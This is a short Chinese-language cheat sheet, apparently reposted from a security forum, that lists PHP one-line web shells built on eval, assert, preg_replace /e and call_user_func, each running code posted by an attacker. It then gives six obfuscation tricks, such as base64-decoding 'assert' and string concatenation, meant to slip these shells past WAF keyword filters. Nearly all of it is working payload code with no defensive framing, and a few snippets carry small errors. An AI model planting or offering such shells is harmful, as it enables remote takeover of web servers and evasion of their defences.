PHP一句話木馬:
1. eval(): <?php @eval($_POST['hacker']); ?> eval函數將接受的字符串當做代碼執行
2. assert(): 用法和 eval()一樣
3. preg_replace(): <?php @preg_replace("/abcd/e",$_POST['hacker'],"abcdefg"); ?> preg_replace 函數一個參數是一個正則表達式,按照 php的格式,表達式在兩個/之間,如果在表達式末尾加上一個 e,則第二個參數就會被當做 php代碼執行
4. create_function(): <?php
$newfun = create_function('$hacker', 'echo $hacker;');
$newfun('woaini');
?>
創建了一個匿名函數,並返回了一個獨一無二的函數名
5. call_user_func(): <?php @call_user_func(eval,$_POST['hacker']); ?> 函數的第一個參數是被調動的函數,剩下的參數(可有多個參數)是被調用函數的參數
call_user_func_array(): 方法同上,只是第二個參數要是一個數組,作為第一個參數的參數
還有一些文件操作函數,比如 file_put_contents函數: <?php $test='一句話木馬'; file_get_contents("文件名", $test); ?>
此函數把一個字符串寫入一個文件中
怎么讓一句話木馬繞過 WAF:
WAF通常會以關鍵字判斷是否為一句話木馬,所以要將一句話木馬變形使用,從而繞過 waf:
1. php變量函數:
<?php
$a = "assert";
$a($_POST['hacker']);
?>
2. php可變變量:
<?php
$b = "assert";
$a = 'b';
$$a($_POST['hacker']);
?>
3. str_replace函數:
<?php
$a = str_replace("b", "", "absbsbebrbt");
$a($_POST['hacker']);
?>
此函數用於將第三個參數中的第一個參數替換為第二個參數
4. base64_decode 函數:
<?php
$a = base64_decode("YXNzZXJ0");
$a($_POST['hacker']);
?>
5. 使用"."連接字符串:
<?php
$b = "a"."ss";
$c = "er"."t";
$a = $b.$c;
$a($_POST['hacker']);
?>
6. pares_str函數:
<?php
$str = "a=assert";
parse_str($str);/parse_str("a=assert");
$a($_POST['hacker']);
?>
最后舉個例子:
<?php
function fun(){
return $_POST['hacker'];
}
@preg_replace("/test/e", fun(), "testtesttest");
?>
轉載:https://bbs.ichunqiu.com/thread-26365-1-1.html